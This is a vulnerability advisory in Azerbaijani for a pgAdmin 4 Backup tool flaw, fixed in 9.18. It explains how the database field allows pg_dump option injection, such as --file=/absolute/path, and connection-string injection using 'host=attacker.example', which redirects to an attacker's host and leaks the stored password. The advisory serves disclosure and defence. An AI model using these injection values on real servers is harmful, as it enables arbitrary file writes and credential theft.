CVE-2026-86864
Təsvir
pgAdmin 4-ün Backup aləti /backup/job/<sid>/object sorğusundan gələn və müştəri tərəfindən təmin edilən 'database' sahəsini heç bir yoxlama aparmadan pg_dump arqument vektoruna sadə sonuncu pozisiyalı arqument kimi əlavə edirdi. pg_dump öz seçimlərini arqumentləri dəyişdirən getopt_long ilə analiz etdiyi üçün tire (-) işarəsi ilə başlayan dəyər verilənlər bazasının adı kimi deyil, seçim (option) kimi şərh olunurdu. Beləliklə, --file=/absolute/path kimi bir dəyər pgAdmin tərəfindən daha əvvəl qurulmuş və yaddaşla məhdudlaşdırılmış --file seçimini üstələyir və bunun nəticəsində pg_dump çıxışını pgAdmin prosesinin yazıya icazəsi olan istənilən yerə, istifadəçinin File Manager yaddaş kataloqundan kənara yazırdı. Bu, pgAdmin-i işlədən əməliyyat sistemi hesabı ilə ixtiyari faylların yaradılmasına və üzərinə yazılmasına səbəb olur ki, bu da pgAdmin-in öz konfiqurasiya verilənlər bazasını sıradan çıxara bilər və seçilən hədəfdən asılı olaraq imtiyazların daha da yüksəldilməsinə yol aça bilər. Həmin sahə əlavə olaraq bağlantı sətiri inyeksiyasına (connection-string injection) imkan verirdi. libpq bərabərlik işarəsi (=) ehtiva edən verilənlər bazası adını tam bağlantı sətirinə genişləndirir və orada yerləşdirilmiş açar sözlər pgAdmin tərəfindən ötürülən --host və --port seçimlərini üstələyir. Buna görə də 'host=attacker.example port=5432 dbname=x' kimi bir dəyər pg_dump-u hücum edənin seçdiyi serverə yönləndirirdi. pgAdmin utilitini icra etməzdən əvvəl şifrəsi açılmış saxlanılan verilənlər bazası parolunu PGPASSWORD mühit dəyişəninə ixrac etdiyi üçün, yönləndirilmiş bağlantı həmin etibarlılığı hücum edənin təyin etdiyi son nöqtəyə ötürürdü. Hər iki davranış tools_backup icazəsinə malik olan və standart İstifadəçi roluna verilmiş istənilən autentifikasiya olunmuş istifadəçi tərəfindən həyata keçirilə bilərdi. Düzəliş verilənlər bazası adının arqument vektoru vasitəsilə ötürülməsini tamamilə dayandırır və onu libpq-nun hərfi verilənlər bazası adı kimi qəbul etdiyi və heç vaxt bağlantı sətiri kimi genişləndirmədiyi PGDATABASE mühit dəyişəni ilə təmin edir. Bu, artıq Import/Export aləti tərəfindən istifadə edilən yanaşmaya uyğundur. Reqressiya testləri verilənlər bazası adının qurulmuş arqument vektorunda olmadığını və PGDATABASE-in dəqiq sorğu olunan dəyəri daşıdığını təsdiqləyir. Bu problem pgAdmin 4-ün Backup alətində sonuncu pozisiyalı verilənlər bazası arqumentinin tətbiq edildiyi versiyalardan 9.18 versiyasına qədər olan hissəsinə təsir edir.
Necə düzəltmək olar
- pgadmin pgadmin_49.18 və ya daha yeni versiya
Təsirlənən məhsullar
| Məhsul | Təsirlənən versiyalar | Düzəldildiyi versiya |
|---|---|---|
| pgadmin pgadmin_4 | v < 9.18 | 9.18 |
Versiyanızı yoxlayın
Məhsulu seçin və istifadə etdiyiniz versiyanı yazın; versiyanın təsirlənən aralıqda olub-olmadığını görün.
Attack Surface Management
Domenlərinizə bağlı aktivləri, onlarda işləyən texnologiyaları və məlum zəiflikləri bir siyahıda görün.